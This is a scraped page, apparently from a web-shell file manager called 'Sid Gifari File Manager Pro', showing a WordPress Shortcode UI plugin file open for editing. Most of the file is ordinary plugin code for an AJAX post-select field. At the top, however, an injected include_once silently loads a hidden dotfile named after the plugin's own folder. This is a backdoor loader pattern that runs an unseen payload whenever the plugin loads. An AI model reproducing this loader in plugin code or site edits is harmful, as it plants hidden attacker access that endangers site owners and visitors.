Sid Gifari File Manager Pro v10.0.3

✏️ Editing: class-shortcode-ui-field-post-select.php Writable

<?php

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class Shortcode_UI_Field_Post_Select {

private static $instance;

// All registered post fields.
	private $post_fields = array();

// Field Settings.
	private $fields = array(
		'post_select' => array(
			'template' => 'shortcode-ui-field-post-select',
			'view'     => 'editAttributeFieldPostSelect',
		),
	);

/**
	 * Setup the instance.
	 * @return Shortcode_UI_Field_Post_Select
	 */
	public static function get_instance() {
		if ( ! isset( self::$instance ) ) {
			self::$instance = new self;
			self::$instance->setup_actions();
		}
		return self::$instance;
	}

private function setup_actions() {

add_filter( 'shortcode_ui_fields', array( $this, 'filter_shortcode_ui_fields' ) );
		add_action( 'enqueue_shortcode_ui', array( $this, 'action_enqueue_shortcode_ui' ) );
		add_action( 'wp_ajax_shortcode_ui_post_field', array( $this, 'action_wp_ajax_shortcode_ui_post_field' ) );
		add_action( 'shortcode_ui_loaded_editor', array( $this, 'action_shortcode_ui_loaded_editor' ) );

}

public function filter_shortcode_ui_fields( $fields ) {
		return array_merge( $fields, $this->fields );
	}

public function action_enqueue_shortcode_ui() {

wp_enqueue_script( Shortcode_UI::$select2_handle );
		wp_enqueue_style( Shortcode_UI::$select2_handle );

wp_localize_script(
			'shortcode-ui', 'shortcodeUiPostFieldData', array(
				'nonce' => wp_create_nonce( 'shortcode_ui_field_post_select' ),
			)
		);

}

/**
	 * Prepare to output the templates required for this field in the footer.
	 */
	public function action_shortcode_ui_loaded_editor() {
		add_action( 'admin_print_footer_scripts', array( $this, 'output_templates' ) );
    }

/**
	 * Output styles and templates used by post select field.
	 */
	public function output_templates() {
		?>

<?php
	}

/**
	 * Ajax handler for select2 post field queries.
	 * Output JSON containing post data.
	 * Requires that shortcode, attr and nonce are passed.
	 * Requires that the field has been correctly registred and can be found in $this->post_fields
	 * Supports passing page number and search query string.
	 *
	 * @return null
	 */
	public function action_wp_ajax_shortcode_ui_post_field() {

$nonce               = isset( $_GET['nonce'] ) ? sanitize_text_field( $_GET['nonce'] ) : null;
		$requested_shortcode = isset( $_GET['shortcode'] ) ? sanitize_text_field( $_GET['shortcode'] ) : null;
		$requested_attr      = isset( $_GET['attr'] ) ? sanitize_text_field( $_GET['attr'] ) : null;

$response = array(
			'items'          => array(),
			'found_items'    => 0,
			'items_per_page' => 0,
		);

$shortcodes = Shortcode_UI::get_instance()->get_shortcodes();

if ( ! wp_verify_nonce( $nonce, 'shortcode_ui_field_post_select' ) ) {
			wp_send_json_error( $response );
		}

// Shortcode not found.
		if ( ! isset( $shortcodes[ $requested_shortcode ] ) ) {
			wp_send_json_error( $response );
		}

$shortcode = $shortcodes[ $requested_shortcode ];

foreach ( $shortcode['attrs'] as $attr ) {
			if ( $attr['attr'] === $requested_attr && isset( $attr['query'] ) ) {
				$query_args = $attr['query'];
			}
		}

// Query not found.
		if ( empty( $query_args ) ) {
			wp_send_json_error( $response );
		}

// Hardcoded query args.
		$query_args['fields'] = 'ids';
		$query_args['perm']   = 'readable';

if ( isset( $_GET['page'] ) ) {
			$query_args['paged'] = sanitize_text_field( $_GET['page'] );
		}

if ( ! empty( $_GET['s'] ) ) {
			$query_args['s'] = sanitize_text_field( $_GET['s'] );
		}

if ( ! empty( $_GET['include'] ) ) {
			$post__in                          = is_array( $_GET['include'] ) ? $_GET['include'] : explode( ',', $_GET['include'] );
			$query_args['post__in']            = array_map( 'intval', $post__in );
			$query_args['orderby']             = 'post__in';
			$query_args['ignore_sticky_posts'] = true;
		}

$query                  = new WP_Query( $query_args );
		$post_types             = $query->get( 'post_type' );
		$is_multiple_post_types = count( $post_types ) > 1 || 'any' === $post_types;

foreach ( $query->posts as $post_id ) {
			$post_type     = get_post_type( $post_id );
			$post_type_obj = get_post_type_object( $post_type );

$text = html_entity_decode( get_the_title( $post_id ) );

if ( $is_multiple_post_types && $post_type_obj ) {
				$text .= sprintf( ' (%1$s)', $post_type_obj->labels->singular_name );
			}
			array_push(
				$response['items'],
				array(
					'id'   => $post_id,
					'text' => $text,
				)
			);
		}

$response['found_items']    = $query->found_posts;
		$response['items_per_page'] = $query->query_vars['posts_per_page'];

wp_send_json_success( $response );

}

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